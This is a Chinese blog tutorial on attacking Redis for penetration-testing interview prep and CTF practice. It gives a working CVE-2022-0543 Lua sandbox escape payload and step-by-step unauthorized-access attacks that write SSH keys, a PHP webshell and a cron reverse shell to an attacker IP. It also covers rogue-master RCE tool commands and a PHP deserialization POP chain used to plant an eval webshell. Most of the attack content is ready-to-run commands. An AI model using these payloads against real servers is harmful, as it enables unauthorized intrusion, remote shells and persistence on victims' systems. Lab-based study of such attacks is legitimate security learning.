首页 > 数据库 >数据库攻防学习之Redis

数据库攻防学习之Redis

时间:2024-01-02 18:07:08浏览次数:48  
标签:攻防 set Redis 数据库 redis Lua io local 写入

Redis

0x01 redis学习

在渗透测试面试或者网络安全面试中可能会常问redis未授权等一些知识,那么什么是redis?redis就是个数据库,常见端口为6379,常见漏洞为未授权访问。

0x02 环境搭建

这里可以自己搭建一个redis环境,也可以用vulfocus搭建一个环境,可以两个都搭建,因为一些攻击手法,需要自己搭建的环境才能成功。

数据库攻防学习之Redis_网安学习

ubuntu 20.04+docker

docker create -p 8088:80 -v /var/run/docker.sock:/var/run/docker.sock -e
VUL_IP=127.0.0.1 vulfocus/vulfocus

建议vulfocus最好搭建在云服务器上,本机搭建的有的环境可能会复现不成功。

数据库攻防学习之Redis_数据库攻防_02

0x03漏洞复现

Redis Lua沙盒绕过 命令执行 CVE-2022-0543

该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量,该变量又允许访问任意Lua功能。我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令

该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量,该变量又允许访问任意Lua 功能

我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令

代码如下

local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io");

local io = io_l();

local f = io.popen("id", "r");

local res = f:read("*a");

f:close();

return res

payload如下

eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("id", "r");
local res = f:read("*a"); f:close(); return res' 0

漏洞复现

数据库攻防学习之Redis_数据库攻防_03

eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("ls", "r");
local res = f:read("*a"); f:close(); return res' 0

数据库攻防学习之Redis_网安学习_04

这里可以用another redis 这个个管理工具,方便redis数据库使用

eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("find / -name
flag*", "r"); local res = f:read("*a"); f:close(); return res' 0

数据库攻防学习之Redis_redis_05

未授权访问redis 未授权访问 (CNVD-2015-07557)

这个未授权访问存在很多,而且面试也很常问,实战也能遇见到。

攻击姿势常见有三种,1写入公钥,2写入webshell,3写入计划任务,当然其中有不少细节,我们需要去掌握。

帮助网安学习,全套资料S信免费领取:

① 网安学习成长路径思维导图

② 60+网安经典常用工具包

③ 100+SRC分析报告

④ 150+网安攻防实战技术电子书

⑤ 最权威CISSP 认证考试指南+题库

⑥ 超1800页CTF实战技巧手册

⑦ 最新网安大厂面试题合集(含答案)

⑧ APP客户端安全检测指南(安卓+IOS)

1.linux写入公钥

利用前提 Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态

允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

ssh-keygen -t rsa

cd /root/.ssh/

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> key.txt

cat key.txt | redis-cli -h 目标IP -x set xxx

数据库攻防学习之Redis_网安学习_06

数据库攻防学习之Redis_数据库攻防_07

数据库攻防学习之Redis_网安学习_08

这里权限不够,这个是vulfocus有问题

满足条件的话可以直接这样,可以自己搭建一个redis环境做实验

具体搭建可参考

https://blog.csdn.net/qq_41210745/article/details/103305262

数据库攻防学习之Redis_redis_09

yes要改成no

数据库攻防学习之Redis_未授权访问漏洞_10

环境启动,接着

数据库攻防学习之Redis_未授权访问漏洞_11

config set dir /root/.ssh/

config set dbfilename authorized_keys

save

cd /root/.ssh/

ssh -i id_rsa root@目标IP

数据库攻防学习之Redis_未授权访问漏洞_12

已经成功写入

进入该ubuntu查看 cd /root/.ssh/

数据库攻防学习之Redis_未授权访问漏洞_13

尝试SSH连接

ssh -i id_rsa [email protected]

数据库攻防学习之Redis_数据库攻防_14

可以看到成功拿下

2.写入webshell

前提条件,有可写权限,存在web服务,知道web路径

继续用该环境下尝试webshell写入

命令如下

FLUSHALL 使用这个清空之前的配置

前提条件,web目录可以读写

config set dir /tmp 设置WEB写入目录

config set dbfilename test.php 设置写入文件名

set test "<?php phpinfo();?>" 设置写入文件代码

set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
换行防止执行失败

bgsave 保存执行

save

chmod -R 777 /var/www/html/

这里设置html尝试写入webshell

数据库攻防学习之Redis_网安学习_15

3.写计划任务反弹shell

FLUSHALL 记得清空配置

利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态

环境依然是上面的配置环境

config set dir /var/spool/cron

set yy "\n\n\n* * * * * bash -i >& /dev/tcp/ip/端口
0>&1\n\n\n"

config set dbfilename x

save

set yy "nnn* * * * * bash -i >&
/dev/tcp/192.168.48.133/9999 0>&1\n\n\n"

注意:

centos会忽略乱码去执行格式正确的任务计划

而ubuntu并不会忽略这些乱码,所以导致命令执行失败

可以看到有乱码,ubuntu并未正常执行

数据库攻防学习之Redis_网安学习_16

数据库攻防学习之Redis_数据库攻防_17

数据库攻防学习之Redis_网安学习_18

主从复制利用

https://github.com/n0b0dyCN/redis-rogue-server 得到的是一个交互式的shell

https://github.com/vulhub/redis-rogue-getshell 这个可以直接命令执行

redis-rogue-serve

python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost
IP

python3.6 redis-rogue-server.py --rhost 192.168.48.133 --rport 29325
--lhost 192.168.48.132

数据库攻防学习之Redis_数据库攻防_19

redis-rogue-getshell

这里记得要编译

cd RedisModulesSDK/

make

python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132
-P 6666 -f RedisModulesSDK/exp.so -c "id"

python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132
-P 6666 -f RedisModulesSDK/exp.so -c "find / -name flag*"

实际情况中我们可以灵活运用exp.so文件,不一定非得用脚本,比如这种情况

天翼杯

考点反序列化,redis主从复制RCE代码

<?php

class a{

public $code = "";

function __call($method,$args){

eval($this->code);

}

// function __wakeup(){

// $this->code = "";

// }

}

class b{

function __destruct(){

echo $this->a->a();

}

}

$a=new A();

$b=new B();

$a->code="phpinfo();";

$b->a=$a;

echo
serialize($b);

构造POP链子,可以看到call魔术方法里面有eval函数,那么需要构造链子触发到call魔术方法。

call():当调用对象中不存在的方法会自动调用该方法wakeup()当使用unserialize()反序列化一个对象后,会自动调用该对象的__wakeup方法

这里destruct方法调用了一个不存在的a方法,那么会调用到call方法

因为wakeup方法中$this->code ="";还有preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);这里有过滤,所以接下来要做到绕过wakeup和正则,这里利用wakeup的CVE和php对类名大小写不敏感的特性去绕过,A,B换成a,b,其中wakeup漏洞原理:在类对象属性个数超过实际个数时就会不执行wakeup函数。

如下O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}绕过wakeupO:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

数据库攻防学习之Redis_redis_20

这里无法执行system("ls")

数据库攻防学习之Redis_未授权访问漏洞_21

蚁剑连接$a->code="eval($_POST["a"]);";

数据库攻防学习之Redis_redis_22

数据库攻防学习之Redis_redis_23

打开之后发现其泄露了redis的密码define("REDIS_PASS","you_cannot_guess_it");蚁剑插件连接上

数据库攻防学习之Redis_redis_24

数据库攻防学习之Redis_网安学习_25

使用EXP.so文件

数据库攻防学习之Redis_未授权访问漏洞_26

MODULE LOAD /var/www/html/exp.so

数据库攻防学习之Redis_网安学习_27

然后就可以进行命令执行了

数据库攻防学习之Redis_数据库攻防_28

若有收获,就点个赞吧。

  

标签:攻防,set,Redis,数据库,redis,Lua,io,local,写入
From: https://blog.51cto.com/u_14601424/9071606

相关文章

  • 从零开始学 Oracle 数据库 (001)
    学习目的从零开始学习Oracle数据库,达到OCP实操水平。学习计划目标用100天学习Oracle数据库,为记录学习过程,计划连更100天学习笔记。学习纲要这块先空着,佛系学习法,学到哪算哪,回头再总结。学习环境数据库版本OracleDatabase19cRelease(19.3.0.0.0-64-bit,1......
  • 数据库安全防护,如何有效避免入侵
    最近很多小伙伴都反应自己的数据库遭到了不同程序的入侵,轻者被篡改数据,重者数据被全部删除,甚至还出现了勒索的现象,那么数据库攻击都有哪些,我们该如何预防数据库被入侵呢?首先,数据库是指长期存储在计算机内有组织可共享的数据集合。它是一个长期存储在计算机内的、有组织的、可共享的......
  • Android期末大作业:使用AndroidStudio开发图书管理系统APP(使用sqlite数据库)
    AndroidStudio开发项目图书管理系统项目视频展示:引言现在是一个信息高度发达的时代,伴随着科技的进步,文化的汲取,人们对于图书信息的了解与掌握也达到了一定的高度。尤其是学生对于知识的渴求更是与日俱增。图书馆作为学生学习知识的重要场所,作为信息资源的集散地,图书和用户借阅资......
  • MySQL数据库必知,满满干货!
    1、关于数据库1.1数据库技术特点数据结构化数据共享数据独立性高数据统一管理1.2区分数据库、数据库管理系统、数据库系统数据库:一个存在于计算机存储设备上的数据集合,该集合中的数据按照一定的数据模型进行组织、描述和存储。数据库管理系统:一种介于用户和操作系统之间的数据库......
  • 亚信安慧AntDB数据库引领数字时代通信创新
    在数字经济与实体经济深度融合的时代,通信行业正迎来前所未有的新机遇。特别是在中国信通院的预测中,2027年5G专网市场规模预计将达到802亿元,呈现出显著的增长态势,年复合增长率高达42%。亚信安慧AntDB数据库一直致力于紧跟科技发展趋势,着眼于未来,不断进行技术创新和产品研发。在5G专......
  • 亚信安慧AntDB数据库两项目分别入选2023“星河”标杆、优秀案例
    近日,由中国信息通信研究院、中国通信标准化协会大数据技术标准推进委员会(CCSATC601)共同组织的第七届大数据“星河(Galaxy)”案例评选结果公示,亚信安慧AntDB数据库两项目入选,其中“基于AntDB的CRM系统全域数据库替换项目”获评标杆案例,“中国广电5G核心业务支撑系统数据库建设方案”......
  • 亚信安慧AntDB数据库高可用解决方案助力西南某省高速清分结算系统成功升级
    AntDB数据库技术总监北陌近期分享了一项引人注目的成功案例,该案例涉及西南某省高速领域,利用AntDB数据库作为基础架构成功升级了清分结算系统。这一系统升级对比传统架构,呈现出显著的性能提升,其中包括15%的性能改进、90%的业务处理速度提高、40倍以上的负载增加以及30倍以上的数据分......
  • 亚信安慧AntDB数据库——通信运营商核心系统的全面演进
    AntDB数据库源自通信运营商核心系统,经过15年的平稳运行和不断演进,成功跟随通信技术的升级步伐,逐步迈向5G时代,并且在这期间完成了8次大版本的迭代,为行业树立了技术领先的典范。其独特之处在于具备超融合架构,这一架构不仅支持结构化数据,还能有效管理非结构化数据,从而降低了系统维护的......
  • 亚信安慧AntDB数据库引领行业数字化转型
    自2019年6月起,中国广电成功获得5G牌照,凭借700MHz频谱资源,迅速展开5G网络建设,成功跻身第四大运营商行列。通过与中国移动的战略合作,已部署基站数量超过400万座,形成了强大的网络覆盖体系。亚信科技作为数智化全栈能力领先提供商,在广电5G业务发展中扮演了关键角色,全面负责BSS(业务支撑......
  • AntDB数据库新携手:六大优势引领企业数智化转型风潮
    AntDB数据库与用友U8C携手共创辉煌,联合推出U8C+AntDB联合产品,为企业提供全方位解决方案,充分展现出六大优势,助力企业迎接新的发展时代。图:U8cloud+AntDB联合产品优势首先,该联合产品在助力企业新发展方面发挥着关键作用。通过整合AntDB数据库的先进技术和U8C的云ERP解决方案,企业可......